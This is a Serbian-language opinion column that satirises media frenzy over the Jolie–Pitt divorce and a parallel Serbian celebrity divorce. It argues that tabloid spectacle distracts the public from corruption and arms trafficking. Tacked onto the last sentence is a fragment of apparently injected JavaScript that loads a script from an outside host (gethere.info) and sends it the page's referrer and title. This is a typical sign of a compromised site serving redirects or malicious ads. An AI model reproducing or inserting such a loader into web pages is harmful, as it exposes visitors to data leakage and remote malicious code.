BRANĐELINA&NAĐOLINA: Dve priče, jedno te ista boleština

Nakon belosvetske "Branđeline" Srbija je dobila svoju, istina manje raskošnu "Nađolinu", potresnu farsu bivšeg fudbalera Partizana i njegove ekssupruge, koja je veoma brzo potisnula ovu prvu u drugi plan. Jer, naše g...o lepše miriše/smrdi...

Razorno poput cunamija, zarazno poput ebole, planetu je iz temelja prodrmala vest da je Anđelina Džoli, poznatija kao Gospođa Smit, podnela zahtev za razvod od Breda Pita, poznatijeg kao Gospodin Smit! Usijale su se društvene mreže, čak i ozbiljni medijski formati, poput BBC-ja i CNN-a, iz minuta u minut izveštavali su o pikantnim detaljima ovog - kako su ga tabloidna braća naprečac krstila - razvoda veka, a u moru sadržaja najsimpatičnija je bila marketinška kampanja norveške avio-kompanije, koja je sloganom "Brad is single" (Bred je samac/slobodan) reklamirala let za Los Anđeles. Očekivala se i Vučićeva konferencija za štampu, ali ipak je izostala - referendum u RS našem je rukovodstvu bio preča tema. Ali ne i običnim građanima, o čemu egzaktno govore brojevi komentara i pregleda na ovdašnjim internet glasilima.

Startovala je trka u tome ko će brže, jače, senzacionalnije, a u opštoj frtutmi nisu zanemareni ni nacionalni interesi, pa je tako javnost zbog jednog sitnog, ali nama važnog detalja stala na stranu mladoženje Breda. Naime, najbolja Anđina prijateljica je niko drugi do zloglasna Arminka Helić, Bosanka koja je svoju poziciju desne ruke bivšeg šefa britanske diplomatije Hejga maksimalno iskoristila da nam zagorča živote. Za dotičnu kažu da je lično napisala famoznu Deklaraciju o Srebrenici, pa nam nije teško palo da je optužimo da je snajku Džoli, koja nam se već zamerila onim filmom u kome nas prikazuje kao silovatelje i zločince ("U zemlji krvi i meda"), povela stranputicom. Ala smo im šuknuli, eskalacija oduševljenja ko da smo se, u najmanju ruku, vratili u Knin, na sve tenku.

I taman kad smo pomislili da ne može ništa gore da nas snađe od parnice teške 400 miliona dolara i podele basnoslovne imovine, od zamka u Provansi do privatnog aviona, pojavila se domaća replika na holivudski "kejs". Nakon "Branđeline" Srbija je dobila svoju, istina manje raskošnu "Nađolinu", potresnu farsu bivšeg fudbalera Partizana i njegove ekssupruge, koja je veoma brzo potisnula ovu prvu u drugi plan. Jer, domaće g...o ipak lepše miriše/smrdi...

U ovoj našoj sapunici, umesto telohranitelja i neimenovanih prijatelja, svedočili su akteri koji su lično iznosili prljav veš na javni štrik, a čuvenu američku brakorazvodnu floskulu "nepomirljive razlike" u srpskoj su verziji zamenili preljuba, nasilje i novac, naravno bijedno sitan u poređenju sa Mr. & Mrs. Smith. Deca, Branđina i Nađova, u prvom slučaju šestoro, u drugom troje, maksimalno su zloupotrebljena u prljavoj medijskoj harangi koja je sledila. Jedno kao žrtva i neposredan povod za razvod, drugo kao svedok nasilja u porodici. U ovakvim igrankama pravilo je da nema pravila, i da niko nije pošteđen.

Iako se po mnogo čemu i drastično razlikuju, ova dva slučaja ogledni su primeri dokle je u svom beznađu stigla Srbija, i za koliko nam koplja u istom procesu beži Amerika. A razlika je, otprilike, estetska, u pakovanju. S jedne strane, prefinjenom i recikliranom, s druge, brutalnom i skaradnom. Ali, đubre ispod te površine je i dalje đubre.

U tom i takvom svetu, dok mi netremice, sa šibicama na kapcima, budemo pratili bizarne detalje zlostavljanja varjačom, svakodnevno otkrivajući novog ubicu folk pevačice ili grobno mesto đenerala Draže, pored nas će neprimetno prolaziti koferi para i kontingenti bombi

Kada su američke televizije sada već davne 1994. u direktnom prenosu uključile kamere na suđenju bivšoj zvezdi američkog fudbala i glumcu u pokušaju O Džej Simpsonu, koji je odgovarao za ubistvo supruge i njenog prijatelja, to je označilo početak nove ere u medijskoj ali i istoriji onoga što, često posprdno, nazivamo civilizacijom. Bavljenje tuđim životima i zapostavljanje/nemanje sopstvenih, bilo u svakodnevnoj formi, preko rijaliti programa, bilo kroz praćenje incidentnih situacija poput ove dve opisane, postala je filozofija koreografa Novog doba. Istina, tada niko nije ni slutio dokle bi to moglo odvesti. Danas, kada naziremo beskonačne razmere ludila, nije nam ništa lakše. Naprotiv.

Ono što fakat zabrinjava jeste da, nakon što je čisto potrošačka era formirala naše ukuse i i nabildovala naše potrebe, ova nova, koja je usledila nakon SEKE, akcenat baca na kontrolu emocija, što nas, pogotovo one nižerangirane klase, sklone jeftinoj zabavi (jer drugačiju ne mogu da si priušte), čini strogo kontrolisanim kiborzima sa atrofiranim čulima, po potrebi dešperatnim usamljenicima, a po želji tempiranim bombama. Ili, što bi Cane rekao, "jednom velikom hipnotisanom gomilom".

U tom i takvom svetu, dok mi netremice, sa šibicama na kapcima, budemo pratili bizarne detalje zlostavljanja varjačom, svakodnevno otkrivajući novog ubicu folk pevačice ili grobno mesto đenerala Draže, pored nas će neprimetno prolaziti koferi para i kontingenti bombi.

Sećate se onog često korišćenog strip obrasca/scenografije u kojoj Meksikanac pokriven sombrerom trešten leži oslonjen na neki zid, vadeći s vremena na vreme tekilu ispod ponča, dok se ispred njega odvija prava radnja/zbivanje. E, o tome vam pričam...s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';